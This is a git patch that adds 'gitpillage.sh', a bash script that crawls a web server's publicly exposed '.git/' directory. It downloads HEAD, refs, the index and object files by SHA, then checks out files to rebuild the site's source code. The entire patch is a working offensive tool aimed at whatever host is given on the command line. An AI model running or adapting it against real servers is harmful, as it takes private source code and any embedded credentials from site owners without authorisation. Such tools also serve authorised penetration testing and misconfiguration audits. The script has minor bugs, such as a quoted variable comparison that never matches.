From 09b06e0072078586e3bf93116f725acccd53d725 Mon Sep 17 00:00:00 2001
From: Adam Baldwin <adam_baldwin@ngenuity-is.com>
Date: Thu, 23 Jun 2011 19:50:31 -0700
Subject: [PATCH] initial commit of gitpillage tool

---
 gitpillage.sh | 122 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 122 insertions(+)
 create mode 100755 gitpillage.sh

diff --git a/gitpillage.sh b/gitpillage.sh
new file mode 100755
index 0000000..6b3b83e
--- /dev/null
+++ b/gitpillage.sh
@@ -0,0 +1,122 @@
+#!/bin/bash
+
+if [[ -z $1 ]]; then
+    cat<<EOF
+Usage:
+    $0 hostname/directory
+    (directory is optional)
+Example:
+    $0 www.example.com/images (would crawl http://example.com/images/.git/)
+    $0 www.example.com (would crawl http://example.com/.git/)
+EOF
+exit 1
+else
+    #Parse out directories and build base url
+    if [[ $1 =~ "/" ]] ; then
+        HOST=${1%%/*}
+        DIR=${1#*/}
+    else
+        HOST=$1
+        DIR=""
+    fi
+    if [[ -e $DIR ]]; then
+        BASEURL="http://${HOST}/.git/"
+    else
+        BASEURL="http://${HOST}/${DIR}/.git/"
+    fi
+fi
+
+CURL_AVAILABLE=`which curl`
+WGET_AVAILABLE=`which wget`
+if [[ -z $CURL_AVAILABLE && -z $WGET_AVAILABLE ]]; then
+    echo "Unable to find useable http client (need curl or wget)"
+    exit 1
+elif [ -e $WGET_AVAILABLE ]; then
+    CRAWLER='wget'
+else
+    CRAWLER='curl'
+fi
+
+OFS=$IFS
+export IFS="/"
+DIR_COUNT=0
+for word in $DIR; do
+    let DIR_COUNT=$DIR_COUNT+1
+done
+export IFS=$OFS
+
+# FUNCTIONS HERP DERP
+function get {
+    if [ ! -e .git/$1 ]; then
+      echo "Getting $1"
+      if [ '$CRAWLER' == 'wget' ]; then
+          wget $BASEURL$1 -x -nH --cut-dirs=$DIR_COUNT
+      else
+          curl $BASEURL$1 -s -f -S --create-dirs -o .git/$1
+      fi
+    fi
+}
+
+function getsha {
+    dir=${1:0:2}
+    filename=${1:2:40}
+    get "objects/${dir}/${filename}"
+}
+
+#####################
+
+# 1 - git init
+git init ${HOST}
+cd ${HOST}
+
+#2 - get static files
+get "HEAD"
+get "config"
+
+#3 - get ref from HEAD
+ref=`cat .git/HEAD|awk '{print $2}'`
+get $ref
+
+#4 - get object from ref
+getsha `cat .git/$ref`
+
+#5 - get index
+get "index"
+
+if [ "$2" != "" ]; then
+   echo "Getting single file: $2"
+   sha=`git ls-files --stage|grep $2|head -1|awk '{print $2}'`
+   getsha $sha
+   git checkout $2
+   exit 0
+fi
+
+echo "About to make `git ls-files|wc -l` requests to ${HOST}; This could take a while"
+read -p "Do you want to continue? (y/n)"
+[ "$REPLY" == "y" ] || exit
+
+#6 - Try and download objects based on sha values
+for line in `git ls-files --stage|awk '{print $2}'`
+do
+    getsha $line
+done
+
+#7 - try and get more objects based on log references
+file="asdf"
+prev=""
+while [ "$file" != "" ]
+do
+    prev=$file
+    file=`git log 2>&1 |grep "^error:"|awk '{print $5}'`
+    if [ "$file" == "$prev" ]
+    then
+        break
+    fi
+    getsha $file
+done
+
+#8 - try and checkout files. It's not perfect, but you might get lucky
+for line in `git ls-files`
+do
+    git checkout $line
+done